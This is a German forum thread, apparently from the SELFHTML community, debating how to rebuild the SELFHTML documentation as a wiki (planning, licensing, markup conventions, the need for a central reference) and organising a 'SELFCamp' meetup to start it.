          Wer hat denn gesagt, dass dort einfach nur Edit-Anarchie herrschen wird?

          Die Wikipedia hat inzwischen mehr Regeln, als SELFHTML sie je hätte haben können. Diese Regeln sind entstanden, weil die Leute gemerkt haben, dass es "ganz offen" eben doch nicht funktioniert. Gewisse Grundregeln braucht man. Mir geht es doch gar nicht drum, dass wir alles von vorne herein festlegen - das wird nicht funktionieren und wird v.a. auch die Motivation von Helfern zerstören. Aber die Welt ist nunmal nicht bloß schwarz-weiß, es gibt auch Graustufen und Farben. Und "100% offen" funktioniert nunmal nicht.

          Was wir brauchen, ist zum eine grobe Zielsetzung, damit Leute, die sich darauf einlassen, sofort verstehen, was das Projekt soll.

          auf dem Demo-Wiki oder wie immer man das Ding nennen soll ist eine Struktur angelegt, und es ist denke ich halbwegs ersichtlich, was wie wohin soll.

          Ich gestehe Dir ja zu, dass Du Dich in der Richtung bemüht hast. Aber ich halte das, was Du in zwei Tagen ausgeknobelt hast, für absolut nicht durchdacht genug. Ich behaupte natürlich nicht, dass ich das in zwei Tagen hätte besser machen können. Aber genau das ist mein Punkt: In zwei Tagen setzt man sowas nicht auf, wenn man darauf hofft, dass das Erfolg haben soll. Man braucht dafür zwar auch keine Monate, aber ein oder zwei Wochen sollten es schon sein.

          Dann braucht ein paar Leute, die sich um neue Mitstreiter kümmern, [...]

          Wichtiger Punkt, und völlig richtig. Aber was soll das sein? Ein Gegenargument?

          Versteh mich doch bitte: Ich argumentiere hier doch gar nicht gegen ein Wiki an sich, sondern nur gegen die Umsetzung. Worum es mir hier ging: Die Strukturen, die nötig sind, dass Redakteure betreut werden, sind in Deinem Schnellschuss nicht da. Die müssten sich erst noch entwickeln. Und gerade wenn das in der Anfangsphase fehlt, ist das Projekt in meinen Augen zum Scheitern verurteilt.

          Aber dazu muss man jetzt nicht erst wieder ein halbes Jahr lang Juristerei betreiben und ja keine Zeile Fremdbeitrag akzeptieren, bevor das nicht alles letzgültig vor der Welt und vor Gott geklärt ist.

          Du missverstehst mich völlig. Ich halte lange Lizenzvereinbarungen auch für Mist. Aber mir geht es darum, dass wir einen Text haben, der etwa eine halbe bis ganze Bildschirmseite lang ist, in dem dann drinsteht, dass jeder Inhalt, der hier beigetragen wird, so und so verwendet wird etc. Den muss jeder kurz akzeptieren, der sich registriert. Der Text soll in normalem Deutsch und nicht in Juristensprache geschrieben sein. Braucht man vielleicht 3 bis 4 Tage um das sauber hinzukriegen. Aber glaube mir: Wir sparen dadurch eine _Menge_ Ärger.

          Und zur Downloadversion: Siehe Svens Posting.

          Wie gesagt: Ich habe irgendwie den Eindruck, dass Du denkst, ich würde gegen ein Wiki an sich argumentieren. Nochmal: Das tue ich hier nicht. Ich habe nur etwas gegen Deinen erneuten Schnellschuss, der in meinen Augen komplett zum Scheitern verurteilt ist. Genauso wie Dein voriger Schnellschuss zum Scheitern verurteilt war, weil Du den Server in die Knie gezwungen hast - entgegen meiner Warnungen (auch damals habe ich übrigens nicht gegen ein Wiki an sich argumentiert sondern nur um mehr Zeit gebeten, das technisch korrekt umzusetzen).

          Viele Grüße,
          Christian

          --
          Mein "Weblog" [RSS]
          Using XSLT to create JSON output (Saxon-B 9.0 for Java)
          »I don't believe you can call yourself a web developer until you've built an app that uses hyperlinks for deletion and have all your data deleted by a search bot.«
                      -- Kommentar bei TDWTF
          1. Hallo Christian,

            Ich sagte Dir beim ersten Wiki, dass das mit MediaWiki auf dem Server so nicht funktionieren wird und dass ich Zeit bräuchte, das richtig einzurichten. Du hast mir nicht geglaubt, der Server ist kaputtgegangen und dann ist das ganze den Bach runter gegangen.

            Ja, das Geheist'werden war dem Server irgendwie nicht bekommen :-)
            Die Serverfarm von wikidot.com wird das sicher locker wegstecken.

            Das ist genau das was ich meine: Man muss zwar, wenn man so eine Wiki-Software installiert, nicht jedes einzelne Detail genau kennen, da hast Du Recht. Aber so grobe Dinge sollte man schon beachten. Ich wünschte, Du hättest aus der Erfahrung gelernt.

            Doch, hab ich: ich habs auf die Wikifarm gestellt und überhaupt keine Software installiert. Aus dem einfachen Grund, weil ich auch keine Lust mehr habe, dass es an Serverkapazitätsproblemen scheitert.

            Das heißt, Du stellst hier etwas in dem Raum, was (weil Dein Name darauf steht und da kein Disclaimer draufpappt, dass das ne Demo ist) von der restlichen Internetgemeinde als halbwegs offiziell angesehen wird - hast dann aber kein Interesse, da noch großartig Arbeit hineinzuinvestieren. Tolle Wurst...

            OK, werde ich noch deutlicher kennzeichnen, da hast du Recht. Es sollte keinesfalls der Eindruck entstehen, als sei das eine offizielle SELFHTML-Präsenz.

            Die Wikipedia hat inzwischen mehr Regeln, als SELFHTML sie je hätte haben können. Diese Regeln sind entstanden, weil die Leute gemerkt haben, dass es "ganz offen" eben doch nicht funktioniert.

            Ja, wenn eine Wiki-Lösung bei SELFHTML die gleichen Entwicklungen zur Folge hätte wie bei Wikipedia, dann wäre das ziemlich bedauerlich. Aber Wikipedia hatte seine Produktivphase, und das war die Phase, als Offenheit dominierte. Vielleicht kann man daraus ja was lernen.

            Ich gestehe Dir ja zu, dass Du Dich in der Richtung bemüht hast. Aber ich halte das, was Du in zwei Tagen ausgeknobelt hast, für absolut nicht durchdacht genug. Ich behaupte natürlich nicht, dass ich das in zwei Tagen hätte besser machen können. Aber genau das ist mein Punkt: In zwei Tagen setzt man sowas nicht auf, wenn man darauf hofft, dass das Erfolg haben soll. Man braucht dafür zwar auch keine Monate, aber ein oder zwei Wochen sollten es schon sein.

            Ich freue mich über jede andere und bessere Lösung! Wenn du meinst, dass die Wahrheit eines schlüssigen Konzepts im Wochenbereich liegt, dann nimm dir diese Zeit, vielleicht auch gemeinsam mit anderen. Ich bin schon froh, wenn überhaupt mal wieder ein Ruck durch die Gemeinde geht. Denn das gegenwärtige Dahindümpeln von SELFHTML tut selbst mir weh, obwohl ich mich sonst längst von dem Projekt entfernt habe.

            Versteh mich doch bitte: Ich argumentiere hier doch gar nicht gegen ein Wiki an sich, sondern nur gegen die Umsetzung. Worum es mir hier ging: Die Strukturen, die nötig sind, dass Redakteure betreut werden, sind in Deinem Schnellschuss nicht da. Die müssten sich erst noch entwickeln. Und gerade wenn das in der Anfangsphase fehlt, ist das Projekt in meinen Augen zum Scheitern verurteilt.

            Ich bin halt der Ansicht: erst mal sollten Redakteure da sein und schreiben. Dabei entstehen wahrscheinlich Probleme, die es zu koordinieren und lösen gilt. Aber welche Probleme das sind und ob es diejenigen sind, von denen man im Vorfeld glaubt, dass es welche sein könnten, sei dahingestellt. Deshalb ist meine Devise dabei ganz bewusst: mit wenig anfangen und dann erweitern wenn nötig. Und mit "wenig" meine ich: im derzeitigen Demo-Wiki gibt es im Forum eine Abteilung für Internes, die erst mal zur Koordination dienen kann. Wenn man darüber hinaus einen Redaktionsbereich mit Redaktionsrichtlinien usw. braucht, ist es kein Problem, den in die bestehende Site-Struktur einzuhängen. Ich weiß wirklich nicht, was es sonst noch alles geben muss.

            Du missverstehst mich völlig. Ich halte lange Lizenzvereinbarungen auch für Mist. Aber mir geht es darum, dass wir einen Text haben, der etwa eine halbe bis ganze Bildschirmseite lang ist, in dem dann drinsteht, dass jeder Inhalt, der hier beigetragen wird, so und so verwendet wird etc. Den muss jeder kurz akzeptieren, der sich registriert.

            Und wenn jemand schreibt, der gar nicht registriert ist? :-)

            Der Text soll in normalem Deutsch und nicht in Juristensprache geschrieben sein. Braucht man vielleicht 3 bis 4 Tage um das sauber hinzukriegen. Aber glaube mir: Wir sparen dadurch eine _Menge_ Ärger.

            Prima (die Zeitaussage). Wenn in 3 bis 4 Tagen in dem Demo-Wiki ein solcher Disclaimer als Zusatzvereinbarung für alle drin steht, die dort schreiben wollen, dann wäre das Problem in deinem Sinne gelöst. Die erste Hälfte des Textes könnte schon stehen, während wir diesen Thread-Schwanz fleißig erweitern ...

            Wie gesagt: Ich habe irgendwie den Eindruck, dass Du denkst, ich würde gegen ein Wiki an sich argumentieren. Nochmal: Das tue ich hier nicht.

            Vernommen :-)

            viele Grüße
            Stefan Münz

            1. Hi!

              Ich bin halt der Ansicht: erst mal sollten Redakteure da sein und schreiben. Dabei entstehen wahrscheinlich Probleme, die es zu koordinieren und lösen gilt. Aber welche Probleme das sind und ob es diejenigen sind, von denen man im Vorfeld glaubt, dass es welche sein könnten, sei dahingestellt. Deshalb ist meine Devise dabei ganz bewusst: mit wenig anfangen und dann erweitern wenn nötig. Und mit "wenig" meine ich: im derzeitigen Demo-Wiki gibt es im Forum eine Abteilung für Internes, die erst mal zur Koordination dienen kann. Wenn man darüber hinaus einen Redaktionsbereich mit Redaktionsrichtlinien usw. braucht, ist es kein Problem, den in die bestehende Site-Struktur einzuhängen. Ich weiß wirklich nicht, was es sonst noch alles geben muss.

              Der erste fängt schon fleißig an und nimmt einfach nach Gutdünken irgendwelche Syntax, um Dinge hervorzuheben. Von Semantik ganz zu schweigen. Ich vermisse mindestens Coding-Style-Vorgaben. Wobei ich auch nicht gut finde, wie bisher schon auch, nur anhand bestimmter Formatierungen die Dinge zu unterscheiden. Wenigstens eine Klassifizierung sollte schon sein (class="element", class="tag", ...).

              Nicht umsonst sieht man bei groß gewordene Projekten, dass sie einfach angefangen, dann wild wuchern und letztlich schwerlich oder mit viel Aufwand in brauchbare Strukturen gebracht werden können respektive müssen. Einige machen dabei einen komplette Rewrite, andere, wie beispielsweise PHP, können das aus Kompatibilitätsgründen nicht mehr und schleppen weiterhin jede Menge Inkonsistenzen aufgrund der Wildwuchsphase mit sich rum.

              Schnellschüsse mögen toll sein, weil sie die vorhandene Motivation ausnutzen. Für ein langfristiges Gelingen ist mir jedoch eine gewisse Grundplanung lieber. Die muss nicht bis ins letzte Detail ausgefeilt sein, aber zumindest sollte sie die schon vorhandenen Erfahrungen nutzen. Das Grund für SDML ist sicher nicht nur Profilierungssucht gewesen.

              [offene Lizenzfragen]
              Und wenn jemand schreibt, der gar nicht registriert ist? :-)

              Wer anonym verfasst hat diesbezüglich schon verspielt, beziehungsweise sich bewusst dafür entschieden mit der Anonymität auch keine Ansprüche anmelden zu können.

              Nach meinem Wissen wird zwar zweifellos das Gesamtwerk als Werk im Sinne des Urheberrechts anzusehen sein, die einzelnen Beiträge jedoch nicht. Auch wenn sie ein Autor komplett allein schreibt, denke ich nicht, dass er die notwendige Schöpfungshöhe erreicht, um Rechte daran geltend machen zu können. Das ist aber nur meine Spekulation. Das müsste erst einmal grundsätzlich und mit Fachverstand beleuchtet werden. Bis dahin muss man eben entweder bei Bedenken mit der Mitarbeit warten. Wenn man Rechte hat, kann man die jedenfalls nicht unwiderruflich abtreten (wie gesagt, soweit ich weiß. Korrekturen willkommen).

              Lo!

              1. Hallo dedlfix,

                Der erste fängt schon fleißig an und nimmt einfach nach Gutdünken irgendwelche Syntax, um Dinge hervorzuheben. Von Semantik ganz zu schweigen. Ich vermisse mindestens Coding-Style-Vorgaben. Wobei ich auch nicht gut finde, wie bisher schon auch, nur anhand bestimmter Formatierungen die Dinge zu unterscheiden. Wenigstens eine Klassifizierung sollte schon sein (class="element", class="tag", ...).

                Ich frage mal ganz ketzerisch: was möchtest du? Eine brauchbare Dokumentation oder ein wunderschönes semantisches Kunstwerk für Quelltext-Liebhaber? Ich bin auch für mehr Klarheit im Code, aber eher mit der Devise "weniger ist mehr". Wozu zig Klassen, die nur das Editieren erschweren und für nichts sonst absehbar benötigt werden? table für Tabellen, pre für Listings, h# für Überschriften, das ist doch schon mal was. Gut, im Wiki gibts kein code und var und samp und kbd. Bei einer eigenen Software-Installation könnte man das denke ich nachrüsten. Aber ich frage dich ganz ehrlich: wenn du mal wieder was bastelst und mal schnell nachsehen willst, in welcher Reihenfolge diese eine Funktion ihre Parameter noch mal erwartet: interessiert dich dann, ob die Quelle, die dir dieses Wissen liefert, einen Wahnsinns-Quelltext hat, der jede semantische Feinheit, die mit HTML möglich ist, aus dem Inhalt rauskitzelt? Aus der Forderung, der Code sollte ordentlich sein, muss man nicht ableiten, dass der Code ein l'art pour l'art sein muss.

                viele Grüße
                Stefan Münz

                1. Ich frage mal ganz ketzerisch: was möchtest du? Eine brauchbare Dokumentation oder ein wunderschönes semantisches Kunstwerk für Quelltext-Liebhaber?

                  Als ich vor 13 Jahren oder so beim ersten mit SELFHTML rumwurschtelte, fand ich das recht beeindruckend, dass das Dokument die Techniken verwendete, die es beschrieb. Allerdings las ich damals wohl auch GEB und war in der Hinsicht gerade leicht zu beeindrucken. Dass ich SELFHTMLs Quelltext und Stylesheet so einfach inspizieren und verändern konnte – das hat damals geholfen.

                2. Hi!

                  Ich frage mal ganz ketzerisch: was möchtest du? Eine brauchbare Dokumentation oder ein wunderschönes semantisches Kunstwerk für Quelltext-Liebhaber?

                  Etwas dazwischen. Das Ergebnis ist für den Betrachter relevant. Wenn aber der Bearbeiter die Hände überm Kopf zusammenschlägt, kann das der nächste Grund sein, warum er an Kot statt Code ungern mitarbeitet.

                  Aber ich frage dich ganz ehrlich: wenn du mal wieder was bastelst und mal schnell nachsehen willst, in welcher Reihenfolge diese eine Funktion ihre Parameter noch mal erwartet: interessiert dich dann, ob die Quelle, die dir dieses Wissen liefert, einen Wahnsinns-Quelltext hat, der jede semantische Feinheit, die mit HTML möglich ist, aus dem Inhalt rauskitzelt?

                  In dem Fall nicht, und übertreiben liegt mir auch fern. Aber wenn ich schon Wasser predige, und auch hier im Forum die Anfänger "erziehen muss", ordentlichen und sinnvollen Code zu erzeugen, wenn er wartungsfreundlich sein soll, selbst aber Arbeit abliefere, die nach sehr viel Wein-Genuss aussieht, ist das auch nicht gerade glaubwürdigkeitsfördernd.

                  Aus der Forderung, der Code sollte ordentlich sein, muss man nicht ableiten, dass der Code ein l'art pour l'art sein muss.

                  Nein, aber wie gesagt, es muss auch kein Kot sein. Praktikabel muss es sein - (möglichst) für alle Seiten. Ich halte nichts von Extremen des Extrems willen. Ich schlug ja nicht umsonst nur die "Arme-Leute-Semantik" mit Klassen vor und keinen eigenen XML-Dialekt. Ich kann mir auch einfacher sprechende Klassennamen merken als die Sonderzeichensyntax von Wikis, die in Punkto Unfreundlichkeit der Perl-Syntax Konkurrenz machen zu wollen scheint.

                  Apropos: Ein Sandkasten zum gefahrlosen Probieren fehlt in deinem "Schnellrestaurant".

                  Lo!

  9. Hallo zusammen,

    ich würde gerne mal (m)eine Frage loswerden, in der Hoffnung, das diese jetzt nicht falsch verstanden wird. Ich frage mich selbige nicht aus "rhetorischen Rechthabgründen" sondern weil ich es ehrlich nicht weiß. Ich bin ja mit Internettechniken seit langem nicht mehr beschäftigt. Also:

    Braucht man ein neues selfhtml, gar als eierlegende Woflsmilchsau, übehaubt noch? Gibt es Leute, die hinter den Kulissen das alles zusammen schrauben, die sich sagen: Mist, jetzt fehlt mir doch glatt eine Wissensquelle, wo ich mein aktuelles Problem xy nach schlagen kann?

    Brauchen wir einen Ort, wo all das Wissen en Block nachschlagbar ist (was über den "einen Ort Internet" hinausgeht), gibts nicht (ehrliche Frage eines Unwissenden) schon zich Quellen, gar nach jeder Geschmacksrichtung?

    Grüße,
    Chräcker

    1. Hi!

      Braucht man ein neues selfhtml, gar als eierlegende Woflsmilchsau, übehaubt noch? Gibt es Leute, die hinter den Kulissen das alles zusammen schrauben, die sich sagen: Mist, jetzt fehlt mir doch glatt eine Wissensquelle, wo ich mein aktuelles Problem xy nach schlagen kann?

      Das wird sicher jeder anders beantworten. Meine Antwort ist: ja, ich schlage gern an einer Stelle nach, deren Struktur ich kenne und weiß wo was liegt. Das ist effizienter (vorausgesetzt die Information ist in verständlicher Form vorhanden) als erst die anderen Quellen zu suchen, sich einen Überblick darüber zu verschaffen und die Glaubwürdigkeit einzuschätzen. All das ist bei mir bekannten Quellen schon erledigt.

      RFCs und Spezifikationen befriedigen das theoretische Wissen. Als Praktiker braucht man aber auch unabhängige, zusammenfassende Quellen, wie die Einzelheiten in den diversen Implementationen arbeiten.

      Wie es allerdings ein Neueinsteiger sieht? Nun, das kann ich nicht mehr so recht beurteilen.

      Brauchen wir einen Ort, wo all das Wissen en Block nachschlagbar ist (was über den "einen Ort Internet" hinausgeht), gibts nicht (ehrliche Frage eines Unwissenden) schon zich Quellen, gar nach jeder Geschmacksrichtung?

      Gibt es. Aber es wird immer n Quellen und mindestens n+1 Geschmacksrichtungen geben, weswegen über kurz oder lang noch eine Quelle hinzukommt. (Siehe Texteditoren, gibts wie Sand am Meer und trotzdem entstehen gelegentlich neue.)

      Lo!

    2. Hallo Chräcker!

      Braucht man ein neues selfhtml, gar als eierlegende Woflsmilchsau, übehaubt noch? Gibt es Leute, die hinter den Kulissen das alles zusammen schrauben, die sich sagen: Mist, jetzt fehlt mir doch glatt eine Wissensquelle, wo ich mein aktuelles Problem xy nach schlagen kann?

      Brauchen wir einen Ort, wo all das Wissen en Block nachschlagbar ist (was über den "einen Ort Internet" hinausgeht), gibts nicht (ehrliche Frage eines Unwissenden) schon zich Quellen, gar nach jeder Geschmacksrichtung?

      Letzteres kann man sehr wahrscheinlich mit 'Ja' beantworten. Aber ich sehe den Sinn & Zweck/ Nutzen der SELF-Doku auch nicht in inhaltlichen Alleinstellungsmerkmalen, sondern vielmehr in einer möglichst aussagekräftigen Zusammenfassung und Bündelung der relevantesten Informationen

      • an einem Ort
      • in Deutsch

      Zusätzlich wäre es imho heutzutage auch durchaus sinnvoll & angebracht, entsprechende Kapitel, Seiten und Abschnitte um weiterführende Links zu ergänzen. Immer mit dem Risiko behaftet, dass die entsprechenden Ziele nicht erreichbar oder nicht mehr verfügbar sind.

      Wie groß der Anteil der "Eigenbauer" ist, vermag ich nicht mal grob einzuschätzen, aber ...
      Ich halte es gerade in Zeiten von Web 2.0 (wer kann mir eigentlich mal genau definieren, was das ist?) für ausgesprochen wichtig, dass auch die Leute, die eigentlich nur "Inhalte" im Web publizieren wollen, zumindest eine rudimentäre Ahnung & Vorstellung der zugrundeliegenden Techniken haben. Denn nur so kann imho auch ein gewisses Maß an Problembewußtsein geschaffen werden oder auch die Möglichkeit einer zumindest halbwegs auf Fakten beruhenden Entscheidung für oder gegen die eine oder andere Technik/ das eine oder andere Script etc.!

      Und wenn zumindest jeder Zweite Wordpress-Blogger wenigstens in Ansätzen versucht sein individuelles Design zu erstellen, ist das in meinen Augen auch kein Fehler. ;-)

      Auch im Bezug auf die künftigen (Weiter-)Entwicklungen der verschiedenen Standards halte ich es für sehr wichtig, dass die Gruppe der "Selbermacher" nicht ausstirbt, denn ansonsten können wir das gesamte Web und seine Standards schon heute in die Hände von Google & Co. legen, gepaart mit einigen neuen Gesetzen und Gerichtsurteilen ... - na dann "FF", viel Vergnügen!

      Also um es kurz auszudrücken:"Ja, ich halte eine aktuelle Version von SELFHTML nach wie vor für sinnvoll & angebracht!".

      Gruß Gunther

    3. Hallo Chräcker,

      Braucht man ein neues selfhtml, gar als eierlegende Woflsmilchsau, übehaubt noch? Gibt es Leute, die hinter den Kulissen das alles zusammen schrauben, die sich sagen: Mist, jetzt fehlt mir doch glatt eine Wissensquelle, wo ich mein aktuelles Problem xy nach schlagen kann?

      Aus Entwickler- und Programmierersicht: Ja. Wenn man keine normative Referenz hat für die jeweilige Sprache/das jeweilige Softwaremodul, dann ist man ziemlich aufgeschmissen.

      Für CSS gibt es verschiedene Referenzen, die mehr oder weniger vollständig sind (auch wenn Neuheiten wie CSS3 dort noch fehlen).
      Für JavaScript gibt es eigentlich nur Selfhtml und das Mozilla Developer Center. Beide sind alles andere als vollständig. Das ist sehr nervig. Man muss sich in JavaScript die Sachen aus dutzenden Einzelspezifikationen und -dokumentationen zusammensuchen.

      Also: Schön wäre es, eine annähernd vollständige Referenz zu haben, in der man sich zurechtfindet. Die Frage ist vielmehr, ob irgendwer das bereitstellen kann. Techniken wie JavaScript sind einfach so »offen« und werden ständig erweitert, dass es gar nicht möglich und sinnvoll ist, eine hundertprozentig vollständige Referenz anzustreben. Deshalb wird es einfach niemand schaffen, eine solche eierlegende Wollmilchsau hinzustellen.

      Mathias

      1. ... Gibt es Leute, die hinter den Kulissen das alles zusammen schrauben, die sich sagen: Mist, jetzt fehlt mir doch glatt eine Wissensquelle, wo ich mein aktuelles Problem xy nach schlagen kann?
        Aus Entwickler- und Programmierersicht: Ja. Wenn man keine normative Referenz hat für die jeweilige Sprache/das jeweilige Softwaremodul, dann ist man ziemlich aufgeschmissen.

        Für mich gilt vor allem: Referenz zu einer Sprache ist oft nur die Hälfte.
        ebenso wichtig ist die Best-Practice.

        Für JavaScript gibt es eigentlich nur Selfhtml und das Mozilla Developer Center. Beide sind alles andere als vollständig. Das ist sehr nervig. Man muss sich in JavaScript die Sachen aus dutzenden Einzelspezifikationen und -dokumentationen zusammensuchen.

        Hier möchte ich quirksmode.org noch anfügen, wieder als beispiel: Referenz alleine genügt mir nicht. Ich brauche eine Best-Practice.

        Also: Schön wäre es, eine annähernd vollständige Referenz zu haben, in der man sich zurechtfindet. Die Frage ist vielmehr, ob irgendwer das bereitstellen kann.

        Es wurde schon öfter bereitgestellt. Die frage ist eher, ob es per se auf dem SelfServer gehostet werden muss, oder ob selfHTML nicht eher vermehrt eine andere Aufgabe wahrnehmen sollte: Sie SelfDoku als Netzkultur, verbunden mit einer API, Forlagen, Stylesheets etc... während die Inhalte autonom von Gruppen für ihre spezifischen Themen erstellt werden.

        Techniken wie JavaScript sind einfach so »offen« und werden ständig erweitert, dass es gar nicht möglich und sinnvoll ist, eine hundertprozentig vollständige Referenz anzustreben.

        Modularisierung ist angesagt. JS hat andere Versionsfortschritte als Perl.

        mfg Beat

        --
        ><o(((°>           ><o(((°>
           <°)))o><                     ><o(((°>o
        Der Valigator leibt diese Fische
    4. Brauchen wir einen Ort, wo all das Wissen en Block nachschlagbar

      Ich würde sagen "Nein" - aber im gleichen atemzug sage ich "Wir brauchen einen zentralen Ort an dem ich HTML, CSS und JavaScript[1] nachschlagen kann."

      die PHP-Doku ist z.B. vorbildlich, da in SELFHTML redundant zu halten wäre mehr als unnütz.

      HTML selbst hat nur eine Spezfikation, CSS ebenfalls allgemeinverstädnlich ist diese aber nicht - JavaScript hat garnichts.

      SELFHTML sollte für HTML und CSS das sein was php.net für PHP ist: eine Dokumetnation die zu allem ein paar kurze Anwendungsbeispiele liefert, mehr nicht. Was in SELFHTML aktuell wirklich fehlt sind CSS3-Eigenschaften und Beispiele sowie. Eine Überarbeitung des HTML-Bereichs.

      Eine neue Einfürhung in HTML und CSS wäre toll, muss aber nicht sein.

      [1] Zusätzlich HTTP, Grundlagen für Apache - z.B mod_auth und mod_rewirte. Die Apache-Doku ist zwar ok, an beispielen mangelts aber.

    5. Brauchen wir einen Ort, wo all das Wissen en Block nachschlagbar ist (was über den "einen Ort Internet" hinausgeht), gibts nicht (ehrliche Frage eines Unwissenden) schon zich Quellen, gar nach jeder Geschmacksrichtung?

      Ich möchte so antworten:
      Ja, es braucht einen Ort, wo das ganze Wissen um bewährte und wichtige Webtechniken gesammelt allgemein verständlich aufbereitet ist.
      Und nein: Es ist absolut nicht notwendig, dass dieses Wissen auf einem einzigen Server gehostet ist.

      Ich wäre durchaus nicht abgeneigt, wenn SelfHTML sich selbst mehr modularisieren würde, und nur noch einen Kern beinhaltet, während Module von anderen Gruppen auf externen Servern betreut werden können.
      Insofern natürlich diese Module einer SelfAPI folgen, könnte ein SelfBOT diese Module indexieren und dann im Selfraum klug und mehrdimensional anbieten. Hier denke ich auch an ein Tag-System.

      Module mit separaten autonomen Arbeitsgruppen würden übrigens die Frage, wie (mit welcher Software) etwas zu erstellen sei, abdelegieren. Wichtig wäre nur noch, dass die Dokumente der Self-Module einer Richtlinie folgen, also das Ergebnis.

      mfg Beat

      --
      ><o(((°>           ><o(((°>
         <°)))o><                     ><o(((°>o
      Der Valigator leibt diese Fische
  10. Tach zusammen,

    Nschdem wir beschlossen haben, es erneut mit einer Wiki-Lösung zu versuchen, ist direkt die nächste Idee aufgetaucht, und zwar ein SELFCamp. Ich erkläre mich bereit, dieses Camp zu organisieren.

    Zweck der Übung soll es sein, mit möglichst vielen Menschen gemeinsam einen Anfang dieses Wikis zu machen; technische Fragen zu klären, Konzepte und Konventionen zu diskutieren und dann gemeinsam loszulegen und direkt Inhalte zu produzieren. Neben der gemeinsamen Arbeit soll der Spaß nicht zu kurz kommen, ein BarCamp halt, zum Aufbau der SELF-Doku.

    Ort und Termin stehen zur Diskussion, Ideen und Vorschläge gerne auch an mich.

    Ich würde vorschlagen, zunächst nach einer geeigneten Location Ausschau zu halten und uns dann über den Termin abzustimmen. Kennt jemand ein Haus, einen Laden, ein Ding, wo man sowas durchführen kann? Es kann auch in Salzburg sein, relevanter ist meiner Meinung nach, eine Stätte zu finden, die Internet hat, eine produktive und doch gemütliche Atmosphäre, Infrastruktur, etc.

    Jetzt seid ihr dran. Ideen? Vorschläge?

    Grüße

    Maik

    --
    Margin-Regler am Control-Data-Tischrechner im RRZE Erlangen
    Mehr margin! Sag ich ja immer...
    1. Tach alleine!

      ist direkt die nächste Idee aufgetaucht, und zwar ein SELFCamp.

      Zweck der Übung soll es sein, mit möglichst vielen Menschen gemeinsam einen Anfang dieses Wikis zu machen; technische Fragen zu klären, Konzepte und Konventionen zu diskutieren und dann gemeinsam loszulegen und direkt Inhalte zu produzieren.

      Ort und Termin stehen zur Diskussion,

      Ort: Cyberspace (hinter der Milchstraße gleich rechts abbiegen und dann nach hundert Lichtjahren gleich auf der linken Seite).

      Ich würde vorschlagen, zunächst nach einer geeigneten Location Ausschau zu halten und uns dann über den Termin abzustimmen. Kennt jemand ein Haus, einen Laden, ein Ding, wo man sowas durchführen kann?

      Es kann auch in Salzburg sein, relevanter ist meiner Meinung nach, eine Stätte zu finden, die Internet hat, eine produktive und doch gemütliche Atmosphäre, Infrastruktur, etc.

      Jetzt seid ihr dran. Ideen? Vorschläge?

      So nett Treffen ja auch sein mögen, aber mal ernsthaft: Jeder hat vermutlich in seinem warmen Zuhause Internetanschluss (Kaffee, Bier, usw.). Selbst wenn ich gewillt wäre an so einem Treffen teilzunehmen, überstiege ein solches, was bspw. in Salzburg stattfinden würde, dann doch meine zeitlichen & finanziellen Mittel, die ich dafür aufzubringen bereit wäre.

      Ich würde es von daher sehr begrüßen, wenn zumindest auch über eine entsprechende Online-Alternative von zu Hause aus nachgedacht würde.

      Gruß Gunther

      1. Tach auch Gunter,

        So nett Treffen ja auch sein mögen, aber mal ernsthaft: Jeder hat vermutlich in seinem warmen Zuhause Internetanschluss (Kaffee, Bier, usw.). Selbst wenn ich gewillt wäre an so einem Treffen teilzunehmen, überstiege ein solches, was bspw. in Salzburg stattfinden würde, dann doch meine zeitlichen & finanziellen Mittel, die ich dafür aufzubringen bereit wäre.

        Salzburg war nur so eine Idee, um deutlich zu machen, daß ich grundsätzlich offen bin, was den Ort angeht, Hauptsache, es gibt grundsätzlich Interesse an sowas.

        Ich würde es von daher sehr begrüßen, wenn zumindest auch über eine entsprechende Online-Alternative von zu Hause aus nachgedacht würde.

        Wird es, wird es. Wer nicht persönlich anwesend sein kann, wird online angeschlossen werden, um teilzunehmen zu können.

        Gruß

        Maik

        --
        Margin-Regler am Control-Data-Tischrechner im RRZE Erlangen
        Mehr margin! Sag ich ja immer...
    2. Hallo Maik,

      Nschdem wir beschlossen haben, es erneut mit einer Wiki-Lösung zu versuchen, ist direkt die nächste Idee aufgetaucht, und zwar ein SELFCamp. Ich erkläre mich bereit, dieses Camp zu organisieren.

      Gute Idee! Bin dabei, wenn es von der Zeit her klappt. Schwebt dir eine bestimmte Zeitspanne vor? Wochenende? Ganze Woche?
      Ich persönlich wäre ja fast für eine ganze Woche, weiß aber nicht wie viele da mitmachen könnten.

      Ich würde vorschlagen, zunächst nach einer geeigneten Location Ausschau zu halten und uns dann über den Termin abzustimmen. Kennt jemand ein Haus, einen Laden, ein Ding, wo man sowas durchführen kann? Es kann auch in Salzburg sein, relevanter ist meiner Meinung nach, eine Stätte zu finden, die Internet hat, eine produktive und doch gemütliche Atmosphäre, Infrastruktur, etc.

      Jetzt seid ihr dran. Ideen? Vorschläge?

      Salzburg ist IMHO nicht so zentral gelegen. Ich biete natürlich gerne wieder Darmstadt an, und auch die Orga könnten wir uns da teilen.

      Grüße

      Marc Reichelt || http://www.marcreichelt.de/

      --
      DPRINTK("Last time you were disconnected, how about now?");
              linux-2.6.6/drivers/net/tokenring/ibmtr.c
      Selfcode: ie:{ fl:| br:> va:} ls:< fo:} rl:( n4:( ss:) de:> js:| ch:? sh:| mo:) zu:)
      1. Salzburg ist IMHO nicht so zentral gelegen. Ich biete natürlich gerne wieder Darmstadt an, und auch die Orga könnten wir uns da teilen.

        Salzburg war ein Einwurf von mir weil ich da quasi um die Ecke wohne und es relativ zentral im DACH-Raum liegt.

        Darmstadt wäre für mich schon fast eine Weltreise - mir fehlt irgendwo die Motivation mit 5 Stunden ins Auto zu setzen (Zug oder Flugzeug kommt für mich aus mehrerlei Gründen nicht in Frage) - München oder Nürnberg wäre noch vertretbar und relativ zentral, da ist man schnell dort.

        Es kommt natürlich auf die allgemein Teilnehmerschaft an, ideal ist natürlich die Wegstrecke durchschnittlich relativ gering zu halten. Wenn nun z.B. niemand aus Ostösterreich - z.B. wien überhaupt Teilnehmen möchte und ein großteil der Teilnehmer aus Norddeutschland anreist, ist weiter im Norden sicher ok.

        Solang auch eine Online-Teilnahme möglich ist - z.B. über TeamSpeak oder Ventrilo - ist das sicher nicht so das Problem.

        1. Hallo suit,

          Es kommt natürlich auf die allgemein Teilnehmerschaft an, ideal ist natürlich die Wegstrecke durchschnittlich relativ gering zu halten. Wenn nun z.B. niemand aus Ostösterreich - z.B. wien überhaupt Teilnehmen möchte und ein großteil der Teilnehmer aus Norddeutschland anreist, ist weiter im Norden sicher ok.

